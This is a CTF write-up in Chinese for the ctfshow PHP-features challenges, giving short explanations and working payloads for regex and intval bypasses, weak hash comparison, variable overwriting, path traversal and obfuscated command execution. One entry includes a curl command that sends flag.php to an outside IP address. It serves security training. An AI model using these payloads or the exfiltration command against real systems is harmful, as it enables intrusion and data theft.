ctfshow-php特性
WEB-89(数组绕正则)
需要我们输入数字但是正则匹配不能输入数字 通过数字bypass preg_match()即可
1 | ?num[]=1 |
WEB-90,92(intval十六进制)
用16进制即可
1 | ?num=0x117c |
WEB-91(多行匹配绕过)
1 | preg_match('/^php$/im', $a) |
^
:匹配php开头
$
:匹配php结尾
i
:大小写
m
:多行匹配
所以用换行符%0a
绕过就行
1 | ?cmd=a%0aphp |
WEB-93(intval八进制)
和90,92一样不过这次waf了字母用八进制bypass即可
1 | ?num=010574 |
WEB-94(intval小数点)
不能0开头也就不能用八进制了,用小数点即可
1 | ?num=4476.0 |
WEB-95(intval空格)
1 | ?num=+010574 |
WEB-96(路径)
1 | ?u=./flag.php |
./
表示当前路径下
WEB-97(md5)
经典题型了,不多说
数组 或者 直接去找0e开头的payload都可以
post:a[]=1&b[]=2
WEB-98(三元运算符)
不用管中间的 只看第一行和第二行
当我们提交一个get传参就会让其等于post传参的值 这里用到了取地址符 直接用c的知识去理解就行了
1 | $_GET?$_GET=&$_POST:'flag'; |
所以payload:
1 | ?HTTP_FLAG=flag |
WEB-99(in_array)
主要是in_array这个函数 这个函数是检测一个字符是否在一个数组中
如果这个函数不设置第三个参数 则表示在检测中不会检查要检测的值是否与数组中的值类型相同 并且自动转换
所以我们输入1.php最后也被会认为是1
1 | payload:?n=1.php |
WEB-100(运算符优先级)
1 | && > || > = > and > or |
=的运算符比and高
对于v0的值只需要看v1就可以v2,v3是干扰
1 | ?v1=1&v2=print_r($ctfshow)&v3=; |
WEB-101(反射类)
反射类之前做题有遇到过
原理:
一个简单的demo来理解payload
payload:?v1=1&v2=echo new Reflectionclass&v3=;
WEB-102~103(hex2bin)
利用数字 hex2bin()函数 写shell
然后再用伪协议base64写解码 将shell写进去
1 | `cat *`; |
payload给的通过base64编码在转为16进制 刚好为纯数字 其他的payload可能夹杂字母 挺巧妙的
1 | ?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64- |
WEB-104,106(弱相等)
网上随便找0e开头的值即可
1 | ?v2=aaK1STfY |
post v1=aaO8zKZF
WEB-105(变量覆盖)
出口其实是这里 一开始没弄明白 其实题目一开始进去内容就是error报出来的 真该死啊我
1 | if(!($_POST['flag']==$flag)){ |
?suces=flag
post:error=suces
WEB-107(parse_str)
一个逻辑问题
post:v1=flag=0cc175b9c0f1b6a831c399e269772661
1 | ?v3=a |
其中散列值是a的md5值
WEB-108(ereg绕过)
ereg 是一个已经过时的函数,用于进行正则表达式的匹配。它用于检查给定的字符串是否与指定的正则表达式模式匹配。
在php5.3.0标记为过时并且在7.0.0完全移除
他的功能就被preg_match代替
ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配。
1 | ?c=a%00778 |
WEB-109(Exception类)
发现这个反射类和异常类还能配合命令执行函数一起用真的长见识了
方法一 反射类
1 | ?v1=ReflectionClass&v2=system('cat fl36dg.txt') |
方法二 异常类
1 | ?v1=Exception&v2=system("ls") |
WEB-110 (原生类)
?v1=FilesystemIterator&v2=getcwd
然后直接访问flag文件就行了
getcwd获得当前目录之后传入FilesystemIterator 遍历指定路径文件系统中的目录和文件
不过如果想遍历需要不断的移动指针不然只会显示当前目录下的第一个文件
当然这道题目够用了
WEB-111(全局变量)
?v1=ctfshow&v2=GLOBALS
学到了
WEB-112,114(伪协议)
1 | php://filter/resource=flag.php |
WEB-113(软链接)
1 | ?file=compress.zlib://flag.php |
或者
1 | ?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p |
/proc/self/root其实是指向根目录的软链接
看别人的WP说是 超过20次软连接后就可以绕过is_file
不太懂 挺神奇的
WEB-114(%0c)
1 | ?num=%0c36 |
WEB-123(php命名规则)
老生常谈了 php合法命名规则是字母数字下划线其他字符会被替换为_
post:CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
但是如果出现[
则这个符号被替换为_
之后的不合法字符都不会被替换
WEB-125(highlight_file)
post:CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])
1 | ?1=flag.php |
但是不知道为什么inlcude show_source不行 奇怪
WEB-126($_SERVER[‘argv’])
1 | GET:?a=1+fl0g=flag_give_me |
WEB-127($_SERVER[‘QUERY_STRING’])
?ctf show=ilove36d
还是命名问题 空格会被替换为_从而绕过waf
WEB-128( _()函数)
确实是骚操作
在当前域查找信息
_()是gettext()的拓展函数
在开启相关设定后,_(“666”)等价于gettext(“666”),且就返回其中的参数
打组合拳即可
1 | ?f1=_&f2=get_defined_vars |
WEB-129(路径穿越)
1 | ?f=/ctfshow/../../../../var/www/html/flag.php |
WEB-130(正则绕过)
方法一:
利用数组
preg_match只能处理字符串 所以输入数组会输出false
方法二:
字符串解析特性
f=ctfshow
注意f之前有个空格 这样就识别不到我们的f了
WEB-131(正则回溯)
poc如下:
1 | import requests |
WEB-132(逻辑运算符特性)
1 | /admin/?username=admin&password=1&code=admin |
先是给了一个信息很多的网站 其实做题多了 直接就会去访问/admin后台
然后得到源码 是一个逻辑问题 x && y
当x为false时,直接跳过,不执行y; 对于“或”(||) 运算 : x||y
当x为true时,直接跳过,不执行y
所以只要保证username=admin
其他两个参数任意即可
WEB-133(curl外带)
这道题真是吐了 网上payload没一个可以打通的 多多少少沾点毛病
1 | ?F=`$F`;+curl -F xx=@flag.php 8.130.34.53:7777 |
用curl外带 就是之后跟一个能接受的VPS 用了DNS接受不到 BP的不太会 最后还是云服务器好用
其实就可以用反弹shell一样去理解 无回显处理方式而已
WEB-134(php变量覆盖)
payload:?_POST[key1]=36d&_POST[key2]=36d
先将get获取到的参数parse_str($_SERVER['QUERY_STRING']);
根据&
分割成不同部分
然后extract($_POST);
将$_POST数组中的内容输出不同的键值
共分为下面三个流程
- _POST[key1]=36d&_POST[key2]=36d
- _POST[key1]=36d _POST[key2]=36d parse_str()将其分割为两部分
- key1=36d key2=36d extract() 将_POST数组中的键值导入到当前符号表中
WEB-135(重定向输出)
官方给的外带不好用
直接?F=
$F ;nl flag.php>1.txt
注意中间有个空格 能刚好让截取长度满6位 不然会破坏我们的命令结构
WEB-136(tee指令)
payload:
1 | ?c=ls /|tee 1 |
就是利用管道符 将我们命令输入的作为tee指令的输入 然后输出到指定的文件中
WEB-137(静态成员调用方法)
php通过 类名::属性或者方法 来调用静态成员
post:
1 | ctfshow=ctfshow::getFlag |
WEB-138(call_user_func()数组特殊方法)
通过上面的demo 这样payload可以看懂
不仅是字符串 可以给call_user_func()传一个数组的方式去访问静态方法 只能是方法 不能这样访问静态属性
并且也只能是静态方法 不能是public方法
post:ctfshow[0]=ctfshow&ctfshow[1]=getFlag
WEB-139(没必要)
WEB-140(弱相等)
偷的payload
0==“字符串” 返回的是TRUE
intval会将非数字字符转换为0,也就是说 intval('a')==0 intval('.')==0 intval('/')==0
1 | md5(phpinfo()) |
WEB-141(取反之减号)
绕过return的方式:
php中数字是可以和命令进行一些运算的,例如 1-phpinfo()-1;结合减号是可以执行phpinfo()命令的 运算符应该都可以
WEB-142
1 | ?v1=0 |
WEB-143(取反之乘号)
?v1=10&v2=0&v3=*("%0c%19%0c%5c%60%60"^"%7f%60%7f%28%05%0d") ("%0e%0c%00%00"^"%60%60%20%2a")?>
waf了减号 换成乘号就行了
WEB-144(取反之减号)
1 | ?v1=1&v2=("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%06%0c%01%07%00%0b%08%0b"^"%60%60%7c%20%60%60%60%60%2e% |
WEB-145(取反之三目运算符)
最终构造出eval("return 1?phpinfo():1;");
payload:
1 | ?v1=1&v2=0&v3=?(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%d5): |
WEB-146(取反之或)
1 | ?v1=1&v2=1&v3=|(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%d5)| |
WEB-147(function_name())
参考:https://paper.seebug.org/755/
讲的很细 看源码就是大致思路让我们去构造一个函数 并且正则要求需要是特殊的符号开头的 所以平常的函数就不能直接拿来用了
偷的:
在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
所以我们可以\
开头
构造类似于这样的 函数第一个参数是传入函数的参数 第二参数是函数内容
1 | create_function('$a,$b','return 111') |
如果我们想插入我们的恶意代码就需要sql注入那样闭合的思路
1 | create_function('$a,$b','return 111;}phpinfo();//') |
paylaod:
1 | ?show=;}system('ls');// |
post:ctf=%5ccreate_function
WEB-148(中文变量)
巧妙的构造
1 | ?code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f* |
`